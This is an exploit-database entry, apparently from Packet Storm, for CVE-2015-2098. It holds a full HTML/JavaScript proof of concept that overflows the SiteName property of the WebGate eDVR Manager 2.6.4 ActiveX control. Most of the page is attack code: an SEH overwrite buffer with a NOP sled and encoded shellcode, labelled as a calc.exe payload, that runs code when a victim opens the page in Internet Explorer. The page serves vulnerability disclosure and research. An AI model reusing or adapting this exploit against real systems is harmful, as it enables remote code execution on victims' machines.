WebGate eDVR Manager 2.6.4 SiteName Stack Overflow

2015-03-2700:00:00
Praveen Darshanam
packetstormsecurity.com
0.152 Low
EPSS
Percentile
95.9%
JSON
`<html>  
<!--  
Author: Praveen Darshanam  
http://blog.disects.com  
http://darshanams.blogspot.com  
  
# Exploit Title: WebGate eDVR Manager SiteName Stack Overflow SEH Overwrite (0Day)  
# Date: 27th March, 2015  
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/  
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174  
# Version: eDVR Manager 2.6.4  
# Tested on: Windows XP SP3 using IE/6/7/8  
# CVE : 2015-2098  
  
WebGate eDVR Manager WESPPlayback.WESPPlaybackCtrl.1 SiteName Property Stack Buffer Overflow Remote Code Execution Vulnerability  
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"  
prototype = "Property Let SiteName ( ByVal SiteSerialNumber As String ) As String"  
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"  
-->  
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='sname'>  
</object>  
<script>  
var buff1= "";  
var buff2= "PraveenD";  
var nops = "";  
  
for (i=0; i<128; i++)  
{  
buff1 += "B";  
}  
var nseh = "\xeb\x08PD";  
var seh = "\xa0\xf2\x07\x10";  
for (i=0;i<80; i++)  
{  
nops += "\x90";  
}  
//calc.exe payload  
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +  
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +  
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +  
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +  
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +  
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +  
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +  
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +  
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +  
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +  
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +  
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +  
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +  
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +  
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +  
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +  
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +  
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +  
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +  
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +  
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +  
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +  
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +  
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +  
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +  
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +  
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +  
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +  
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +  
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +  
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +  
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +  
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +  
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +  
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";  
for (i=0;i<(8000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)  
{  
buff2 += "A";  
}  
  
fbuff = buff1 + nseh + seh + nops + sc + buff2;  
sname.SiteName(fbuff) = buff2;  
  
</script>  
</html>  
  
`
0.152 Low
EPSS
Percentile
95.9%
JSON
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